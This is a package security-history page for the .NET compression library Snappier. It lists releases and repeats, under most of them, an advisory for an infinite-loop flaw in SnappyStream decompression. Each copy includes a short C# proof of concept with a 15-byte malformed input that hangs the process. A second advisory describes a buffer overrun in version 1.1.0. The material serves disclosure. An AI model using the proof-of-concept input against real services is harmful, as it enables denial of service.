Snappier

Version	Released
`1.3.1` patch	Apr 28, 2026
`1.3.0` minor 1 CVE	Dec 31, 2025
`1.3.0-beta.2` pre 1 CVE	Nov 29, 2025
`1.3.0-beta.1` pre 1 CVE	Oct 20, 2025
`1.2.0` minor 1 CVE	Jan 30, 2025
`1.2.0-beta0001` pre 1 CVE	Dec 23, 2024
`1.1.6` patch 1 CVE	Mar 05, 2024
`1.1.5` patch 1 CVE	Jan 23, 2024
`1.1.4` patch 1 CVE	Jan 15, 2024
`1.1.3` patch 1 CVE	Dec 01, 2023
`1.1.2` patch 1 CVE	Nov 09, 2023
`1.1.1` patch 1 CVE	Mar 27, 2023
`1.1.0` minor 2 CVEs	Mar 12, 2023
`1.0.0` initial 1 CVE	Jan 23, 2021
`1.0.0-beta002` pre 1 CVE	Nov 03, 2020
`1.0.0-beta001` pre 1 CVE	Oct 22, 2020

1.3.1 patch

Apr 28, 2026

1.3.0 minor

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Dec 31, 2025

1.3.0-beta.2 pre

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Nov 29, 2025

1.3.0-beta.1 pre

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Oct 20, 2025

1.2.0 minor

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Jan 30, 2025

1.2.0-beta0001 pre

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Dec 23, 2024

1.1.6 patch

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Mar 05, 2024

1.1.5 patch

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Jan 23, 2024

1.1.4 patch

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Jan 15, 2024

1.1.3 patch

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Dec 01, 2023

1.1.2 patch

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Nov 09, 2023

1.1.1 patch

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Mar 27, 2023

1.1.0 minor

2 CVEs

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

CVE-2023-28638 GHSA-838x-pcvx-6p5w Mar 27, 2023

Snappier vulnerable to buffer overrun due to improper restriction of operations within the bounds of a memory buffer

7.0 / 10

High

Network High None None Unchanged Low Low High

Impact

This is a buffer overrun vulnerability that can affect any user of Snappier 1.1.0. In this release, much of the code was rewritten to use byte references rather than pointers to pinned buffers. This change generally improves performance and reduces workload on the garbage collector. However, when the garbage collector performs compaction and rearranges memory, it must update any byte references on the stack to refer to the updated location. The .NET garbage collector can only update these byte references if they still point within the buffer or to a point one byte past the end of the buffer. If they point outside this area, the buffer itself may be moved while the byte reference stays the same.

There are several places in 1.1.0 where byte references very briefly point outside the valid areas of buffers. These are at locations in the code being used for buffer range checks. While the invalid references are never dereferenced directly, if a GC compaction were to occur during the brief window when they are on the stack then it could invalidate the buffer range check and allow other operations to overrun the buffer.

This should be very difficult for an attacker to trigger intentionally. It would require a repetitive bulk attack with the hope that a GC compaction would occur at precisely the right moment during one of the requests. However, one of the range checks with this problem is a check based on input data in the decompression buffer, meaning malformed input data could be used to increase the chance of success.

Note that any resulting buffer overrun is likely to cause access to protected memory, which will then cause an exception and the process to be terminated. Therefore, the most likely result of an attack is a denial of service.

Patches

This is patched in release 1.1.1.

Workarounds

Pinning any buffers to a fixed location before using them for compression or decompression should mitigate some, but not all, of these cases. At least one temporary decompression buffer is internal to the library and never pinned.

Affected versions


          1.1.0

Fixed in


          1.1.1

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 12, 2023

1.0.0 initial

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Jan 23, 2021

1.0.0-beta002 pre

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Nov 03, 2020

1.0.0-beta001 pre

1 CVE

CVE-2026-44302 GHSA-pggp-6c3x-2xmx May 06, 2026

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Affected versions


          1.0.0


          1.0.0-beta001


          1.0.0-beta002


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.1.5


          1.1.6


          1.2.0


          1.2.0-beta0001

+ 1 more


            1.3.0

Fixed in


          1.3.1

References

Updated May 13, 2026 · Source: OSV.dev

Oct 22, 2020

Activity

Details